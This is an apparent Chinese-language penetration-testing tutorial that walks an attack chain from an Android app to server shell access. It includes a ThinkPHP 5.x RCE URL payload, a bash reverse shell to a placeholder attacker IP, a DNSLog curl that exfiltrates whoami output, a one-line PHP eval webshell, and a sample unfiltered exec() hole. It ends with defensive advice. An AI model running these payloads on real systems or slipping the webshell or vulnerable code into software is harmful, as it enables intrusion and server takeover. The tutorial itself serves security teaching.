从一个App到getshell的一次经历
字数 1082 2025-08-12 11:34:11
从安卓App到GetShell的完整渗透测试教学文档
一、测试环境准备
1.1 证书配置(解决安卓7.0+抓包问题)
-
导出Burp证书:
- 从Burp Suite导出证书(cacert.der格式)
-
证书格式转换:
openssl x509 -in cacert.der -inform DER -out cacert.pem -outform PEM -
提取证书Hash值:
openssl x509 -inform PEM -subject_hash -in cacert.pem -
安装系统证书:
- 将证书重命名为
<hash>.0(如9a5ba575.0) - 推送到设备系统目录:
adb push 9a5ba575.0 /system/etc/security/cacerts/ - 设置权限:
chmod 644 /system/etc/security/cacerts/9a5ba575.0
- 将证书重命名为
二、App逆向分析
2.1 反编译APK
- 使用工具:JADX
- 关键搜索:
- 搜索域名关键字
- 搜索API端点
- 搜索硬编码凭证
2.2 信息收集
- 从反编译代码中提取:
- 所有域名
- API接口
- 第三方服务引用
三、Web端渗透测试
3.1 基础测试
- 后台路径探测:
/admin等常见后台路径
- 暴力破解:
- 使用字典测试弱口令
- 注意观察错误提示
3.2 第三方资产利用
- 信息收集:
- 子域名扫描
- 目录爆破
- 漏洞利用:
- 识别框架版本(如ThinkPHP)
- 搜索对应版本漏洞
四、ThinkPHP RCE漏洞利用
4.1 漏洞确认
-
识别版本:
- 访问不存在的路径触发错误页面
- 查看返回的版本信息
-
漏洞利用(以ThinkPHP 5.x RCE为例):
?s=index/\think\Request/input&filter[]=system&data=whoami
4.2 后渗透操作
-
反弹Shell:
bash -i >& /dev/tcp/攻击者IP/端口 0>&1 -
源码获取:
- 查找备份文件(如
.bak,.tar.gz等) - 使用
scp下载源码
- 查找备份文件(如
五、源码审计与漏洞挖掘
5.1 敏感函数搜索
-
关键PHP函数:
file_get_contents() // 任意文件读取 exec(), system(), shell_exec() // 命令执行 eval(), assert() // 代码执行 -
审计流程:
- 定位用户输入点
- 跟踪数据流
- 检查过滤机制
5.2 命令执行漏洞利用
-
漏洞代码示例:
$content = $_POST['content']; // 用户可控输入 $cmd = "some_command ".$content; exec($cmd); // 未过滤直接执行 -
利用步骤:
- 确认参数可控
- 绕过前置条件(如登录、特定参数)
- 使用DNSLog验证:
curl http://dnslog.domain/`whoami`
-
写入WebShell:
echo '<?php eval($_POST[cmd]);?>' > /var/www/html/shell.php
六、完整攻击链总结
-
攻击路径:
App抓包 → 反编译获取域名 → Web端测试 → 第三方资产发现 → ThinkPHP RCE → 源码获取 → 审计发现命令执行 → GetShell -
关键点:
- 安卓7.0+证书处理
- APK反编译信息提取
- 第三方资产的重要性
- 源码审计中的敏感函数跟踪
七、防御建议
-
App层面:
- 证书绑定(Certificate Pinning)
- 代码混淆
- 敏感信息加密
-
Web层面:
- 输入过滤与验证
- 最小权限原则
- 及时更新框架版本
-
系统层面:
- 隔离生产环境与测试环境
- 定期安全审计
- 备份文件保护
八、工具清单
-
抓包工具:
- Burp Suite
- Fiddler
-
逆向工具:
- JADX
- APKTool
-
信息收集:
- Subfinder
- Dirsearch
-
漏洞利用:
- Searchsploit
- Metasploit
-
后渗透:
- Netcat
- LinPEAS
通过以上步骤,可以系统性地完成从安卓App到GetShell的完整渗透测试流程。每个环节都需要仔细操作并记录发现,最终形成完整的攻击链。